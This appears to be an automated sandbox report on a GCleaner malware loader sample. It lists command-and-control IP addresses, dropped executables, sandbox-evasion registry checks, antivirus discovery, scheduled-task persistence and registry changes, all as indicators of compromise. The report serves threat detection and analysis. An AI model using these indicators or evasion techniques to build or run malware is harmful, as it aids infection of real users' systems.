gcleaner | 8b51f70a2b42e40f6bc935c049bc37829b0636b8f1942cf84f5db522cb6a8793

Analysis

max time kernel
306s
max time network
312s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
12-03-2023 18:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

zip.zip
Size

196B
MD5

b646eb6b1134ad5b8a54c965c37cc22e
SHA1

c7c73343d465602141832eb1d1409ac9e326028c
SHA256

8b51f70a2b42e40f6bc935c049bc37829b0636b8f1942cf84f5db522cb6a8793
SHA512

eb28d7c30b025dea87f1dfb2f8d2ec7c8027975bf76f6530d14ab9ae0809d4379a9b46195c39c0963688fd8d7dcafc38b7b38cf21467d733b70c1f25190ab66f

Score

10^/10

gcleaner discovery loader

Malware Config

Extracted

Family

gcleaner

85.31.45.39

85.31.45.250

85.31.45.251

85.31.45.88

Signatures

GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
loader gcleaner
Downloads MZ/PE file
Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

REINXOcrrM.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion REINXOcrrM.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	REINXOcrrM.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

REINXOcrrM.exeCCggedFrog312.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	REINXOcrrM.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	CCggedFrog312.exe

Executes dropped EXE 18 IoCs

Processes:

is-OAS5G.tmpjLiteSort312.exejLiteSort312.exefpOQCp9FZMk3WSbP9.exeis-OC0OF.tmpnet1.exe3oFhX.exeREINXOcrrM.exeis-A6LE6.tmpcdc.exeCCggedFrog312.exeT73k12R3i9On0dJFlgKp.exeWerFault.exeSyncBackupShell.exeis-50NG3.tmpjLiteSort312.exejLiteSort312.exeQklQMyE.exe

pid	process
3092	is-OAS5G.tmp
5532	jLiteSort312.exe
5308	jLiteSort312.exe
3812	fpOQCp9FZMk3WSbP9.exe
5412	is-OC0OF.tmp
748	net1.exe
1032	3oFhX.exe
6720	REINXOcrrM.exe
320	is-A6LE6.tmp
3740	cdc.exe
5996	CCggedFrog312.exe
6512	T73k12R3i9On0dJFlgKp.exe
2440	WerFault.exe
6904	SyncBackupShell.exe
6212	is-50NG3.tmp
6192	jLiteSort312.exe
1480	jLiteSort312.exe
3916	QklQMyE.exe

Loads dropped DLL 11 IoCs

Processes:

is-OAS5G.tmpis-OC0OF.tmpis-A6LE6.tmpforfiles.exeWerFault.exeWerFault.exeis-50NG3.tmp

pid	process
3092	is-OAS5G.tmp
5412	is-OC0OF.tmp
320	is-A6LE6.tmp
320	is-A6LE6.tmp
320	is-A6LE6.tmp
5800	forfiles.exe
6012	WerFault.exe
2440	WerFault.exe
2440	WerFault.exe
2440	WerFault.exe
6212	is-50NG3.tmp

Checks for any installed AV software in registry 1 TTPs 4 IoCs

Security Software Discovery

T1063

Processes:

jLiteSort312.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Avira\AntiVir Desktop\Build	jLiteSort312.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Avira\AntiVir Desktop	jLiteSort312.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Avira\AntiVir Desktop	jLiteSort312.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Avira\AntiVir Desktop\Build	jLiteSort312.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 3 IoCs

Processes:

powershell.exeREINXOcrrM.exe

description	ioc	process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	REINXOcrrM.exe

Drops file in Program Files directory 64 IoCs

Processes:

is-OC0OF.tmpis-A6LE6.tmpWerFault.exeis-OAS5G.tmpis-50NG3.tmpsetup.exe

description	ioc	process
File created	C:\Program Files (x86)\CD Collection\is-Q5RUQ.tmp	is-OC0OF.tmp
File opened for modification	C:\Program Files (x86)\CD Collection\cdc.exe	is-OC0OF.tmp
File created	C:\Program Files (x86)\CCggedFrog\is-KAO26.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\CCggedFrog\translation\is-K8JEJ.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\CCggedFrog\extensions\Meta\translation\is-TM8D2.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\YncBackup\is-2SCQ3.tmp	WerFault.exe
File created	C:\Program Files (x86)\CD Collection\is-9HNLN.tmp	is-OC0OF.tmp
File created	C:\Program Files (x86)\CCggedFrog\translation\is-EFL1Q.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\YncBackup\is-IAJ6P.tmp	WerFault.exe
File opened for modification	C:\Program Files (x86)\YncBackup\SyncBackupShell.exe	WerFault.exe
File created	C:\Program Files (x86)\jLiteSort\is-223SH.tmp	is-OAS5G.tmp
File created	C:\Program Files (x86)\jLiteSort\is-1KTUJ.tmp	is-OAS5G.tmp
File opened for modification	C:\Program Files (x86)\jLiteSort\jLiteSort312.exe	is-OAS5G.tmp
File created	C:\Program Files (x86)\CD Collection\is-9EQ9D.tmp	is-OC0OF.tmp
File created	C:\Program Files (x86)\CD Collection\is-NL94B.tmp	is-OC0OF.tmp
File created	C:\Program Files (x86)\CCggedFrog\is-MO2VT.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\CCggedFrog\translation\is-1SGE2.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\CCggedFrog\extensions\Meta\translation\is-FT5GO.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\YncBackup\Help\images\is-4U48K.tmp	WerFault.exe
File created	C:\Program Files (x86)\CCggedFrog\is-F01LM.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\CCggedFrog\extensions\Meta\translation\is-DLF3C.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\CCggedFrog\extensions\Meta\translation\is-A1FO0.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\YncBackup\Help\is-749RA.tmp	WerFault.exe
File created	C:\Program Files (x86)\jLiteSort\is-A6NVN.tmp	is-50NG3.tmp
File created	C:\Program Files (x86)\jLiteSort\is-6NJCR.tmp	is-50NG3.tmp
File opened for modification	C:\Program Files (x86)\jLiteSort\unins000.dat	is-50NG3.tmp
File created	C:\Program Files (x86)\jLiteSort\unins000.dat	is-OAS5G.tmp
File created	C:\Program Files (x86)\CD Collection\unins000.dat	is-OC0OF.tmp
File created	C:\Program Files (x86)\CCggedFrog\translation\is-HBHQ7.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\jLiteSort\is-A3CH8.tmp	is-50NG3.tmp
File created	C:\Program Files (x86)\CCggedFrog\translation\is-E87LI.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\CCggedFrog\is-B5P42.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\YncBackup\is-SDD38.tmp	WerFault.exe
File created	C:\Program Files (x86)\YncBackup\Help\is-GRCCU.tmp	WerFault.exe
File created	C:\Program Files (x86)\jLiteSort\is-SQFEN.tmp	is-50NG3.tmp
File opened for modification	C:\Program Files (x86)\jLiteSort\unins000.dat	is-OAS5G.tmp
File created	C:\Program Files (x86)\CCggedFrog\unins000.dat	is-A6LE6.tmp
File created	C:\Program Files (x86)\CCggedFrog\translation\is-PSKAI.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\CCggedFrog\translation\is-O7IIG.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\CCggedFrog\translation\is-NGPAK.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\YncBackup\Languages\is-6HFPB.tmp	WerFault.exe
File created	C:\Program Files (x86)\jLiteSort\is-58AMB.tmp	is-50NG3.tmp
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20230312193018.pma	setup.exe
File created	C:\Program Files (x86)\CCggedFrog\is-NP8GM.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\CCggedFrog\translation\is-V1SI8.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\CCggedFrog\translation\is-SKLMS.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\CCggedFrog\extensions\Meta\translation\is-GHURE.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\jLiteSort\is-40DMD.tmp	is-OAS5G.tmp
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\4ec29367-84c7-44c5-83f2-9ffe914a731a.tmp	setup.exe
File created	C:\Program Files (x86)\CD Collection\is-ACCF8.tmp	is-OC0OF.tmp
File created	C:\Program Files (x86)\CCggedFrog\translation\is-HC0Q1.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\CCggedFrog\extensions\Meta\translation\is-NNU3K.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\CCggedFrog\extensions\Meta\is-FQBUN.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\YncBackup\Help\images\is-6I30S.tmp	WerFault.exe
File created	C:\Program Files (x86)\jLiteSort\is-TI7P7.tmp	is-OAS5G.tmp
File created	C:\Program Files (x86)\CCggedFrog\translation\is-7AJ62.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\YncBackup\unins000.dat	WerFault.exe
File created	C:\Program Files (x86)\YncBackup\Help\images\is-LH8MG.tmp	WerFault.exe
File created	C:\Program Files (x86)\CCggedFrog\is-SP5KE.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\CCggedFrog\is-KRMHS.tmp	is-A6LE6.tmp
File created	C:\Program Files (x86)\CCggedFrog\extensions\Meta\translation\is-CK4BP.tmp	is-A6LE6.tmp
File opened for modification	C:\Program Files (x86)\jLiteSort\jLiteSort312.exe	is-50NG3.tmp
File created	C:\Program Files (x86)\CD Collection\is-T7LMM.tmp	is-OC0OF.tmp
File opened for modification	C:\Program Files (x86)\CD Collection\cdc.url	is-OC0OF.tmp

Drops file in Windows directory 1 IoCs

Processes:

schtasks.exe

description ioc process

File created C:\Windows\Tasks\bxCXGcqikGaWPITeEG.job schtasks.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
File created	C:\Windows\Tasks\bxCXGcqikGaWPITeEG.job	schtasks.exe

Program crash 57 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
2560	5532	WerFault.exe	jLiteSort312.exe
5608	5532	WerFault.exe	jLiteSort312.exe
4392	5532	WerFault.exe	jLiteSort312.exe
4764	5532	WerFault.exe	jLiteSort312.exe
5896	5308	WerFault.exe	jLiteSort312.exe
3752	5308	WerFault.exe	jLiteSort312.exe
5916	5308	WerFault.exe	jLiteSort312.exe
2188	5308	WerFault.exe	jLiteSort312.exe
5604	5308	WerFault.exe	jLiteSort312.exe
4632	5308	WerFault.exe	jLiteSort312.exe
4596	5308	WerFault.exe	jLiteSort312.exe
2440	5308	WerFault.exe	jLiteSort312.exe
2296	5308	WerFault.exe	jLiteSort312.exe
4496	5308	WerFault.exe	jLiteSort312.exe
2704	5308	WerFault.exe	jLiteSort312.exe
3732	5308	WerFault.exe	jLiteSort312.exe
5648	5308	WerFault.exe	jLiteSort312.exe
1448	5308	WerFault.exe	jLiteSort312.exe
3896	5308	WerFault.exe	jLiteSort312.exe
5352	5308	WerFault.exe	jLiteSort312.exe
5632	5308	WerFault.exe	jLiteSort312.exe
4584	5308	WerFault.exe	jLiteSort312.exe
64	5308	WerFault.exe	jLiteSort312.exe
6600	5308	WerFault.exe	jLiteSort312.exe
6164	5308	WerFault.exe	jLiteSort312.exe
5732	5308	WerFault.exe	jLiteSort312.exe
6280	5308	WerFault.exe	jLiteSort312.exe
7124	5308	WerFault.exe	jLiteSort312.exe
6264	5308	WerFault.exe	jLiteSort312.exe
6420	5308	WerFault.exe	jLiteSort312.exe
6856	5308	WerFault.exe	jLiteSort312.exe
6224	5308	WerFault.exe	jLiteSort312.exe
5920	5308	WerFault.exe	jLiteSort312.exe
4636	5308	WerFault.exe	jLiteSort312.exe
6892	5308	WerFault.exe	jLiteSort312.exe
6176	5308	WerFault.exe	jLiteSort312.exe
5992	5308	WerFault.exe	jLiteSort312.exe
3172	5308	WerFault.exe	jLiteSort312.exe
5448	5308	WerFault.exe	jLiteSort312.exe
7108	5308	WerFault.exe	jLiteSort312.exe
6736	5308	WerFault.exe	jLiteSort312.exe
6420	5308	WerFault.exe	jLiteSort312.exe
4820	5308	WerFault.exe	jLiteSort312.exe
5044	5308	WerFault.exe	jLiteSort312.exe
5504	5308	WerFault.exe	jLiteSort312.exe
3448	5308	WerFault.exe	jLiteSort312.exe
6752	5308	WerFault.exe	jLiteSort312.exe
6756	5308	WerFault.exe	jLiteSort312.exe
3196	5308	WerFault.exe	jLiteSort312.exe
932	5308	WerFault.exe	jLiteSort312.exe
6840	5308	WerFault.exe	jLiteSort312.exe
6492	5308	WerFault.exe	jLiteSort312.exe
6112	6192	WerFault.exe	jLiteSort312.exe
4148	6192	WerFault.exe	jLiteSort312.exe
5832	6192	WerFault.exe	jLiteSort312.exe
6128	1480	WerFault.exe	jLiteSort312.exe
5108	5308	WerFault.exe	jLiteSort312.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

taskmgr.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

firefox.exetaskmgr.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	taskmgr.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

6832 schtasks.exe
4496 schtasks.exe
4300 schtasks.exe

pid	process
6832	schtasks.exe
4496	schtasks.exe
4300	schtasks.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exeREINXOcrrM.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	REINXOcrrM.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	REINXOcrrM.exe

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

5044 taskkill.exe

pid	process
5044	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe

Modifies registry class 64 IoCs

Processes:

WerFault.exeforfiles.exemsedge.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{93769744-DE48-11D2-B7C8-A62255602516}\TypeLib\Version = "1.4"	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{93769743-DE48-11D2-B7C8-A62255602516}\ = "CustomProperties"	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{93769742-DE48-11D2-B7C8-A62255602516}\TypeLib\Version = "1.4"	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{71068371-CDC2-4FA2-B0AE-66673A56D5CB}\InprocServer32\ = "C:\\Program Files (x86)\\CCggedFrog\\TFShellMenu.dll"	forfiles.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3955D421-C8F3-11d2-B7C8-A22B3D95F811}\InprocServer32\ThreadingModel = "Apartment"	WerFault.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\DSOleFile.PropertyReader.1	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\DSOleFile.PropertyReader\ = "OLE File Property Reader"	WerFault.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{93769744-DE48-11D2-B7C8-A62255602516}\ProxyStubClsid32	WerFault.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{93769742-DE48-11D2-B7C8-A62255602516}\ProxyStubClsid32	WerFault.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{93769741-DE48-11D2-B7C8-A62255602516}	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\DSOleFile.PropertyReader.1\CLSID\ = "{3955D421-C8F3-11d2-B7C8-A22B3D95F811}"	WerFault.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{93769740-DE48-11D2-B7C8-A62255602516}\1.4	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{93769740-DE48-11D2-B7C8-A62255602516}\1.4\FLAGS\ = "0"	WerFault.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{93769742-DE48-11D2-B7C8-A62255602516}\ProxyStubClsid32	WerFault.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{93769742-DE48-11D2-B7C8-A62255602516}	WerFault.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{93769743-DE48-11D2-B7C8-A62255602516}\ProxyStubClsid32	WerFault.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{93769743-DE48-11D2-B7C8-A62255602516}\TypeLib	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{93769740-DE48-11D2-B7C8-A62255602516}\1.4\ = "DS: OLE Document Properties 1.4 Object Library"	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{93769740-DE48-11D2-B7C8-A62255602516}\1.4\HELPDIR\ = "C:\\Program Files (x86)\\CCggedFrog\\extensions\\Meta"	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{93769744-DE48-11D2-B7C8-A62255602516}\TypeLib\Version = "1.4"	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{93769743-DE48-11D2-B7C8-A62255602516}\ = "CustomProperties"	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{93769743-DE48-11D2-B7C8-A62255602516}\TypeLib\ = "{93769740-DE48-11D2-B7C8-A62255602516}"	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{93769743-DE48-11D2-B7C8-A62255602516}\TypeLib\Version = "1.4"	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{93769742-DE48-11D2-B7C8-A62255602516}\TypeLib\ = "{93769740-DE48-11D2-B7C8-A62255602516}"	WerFault.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
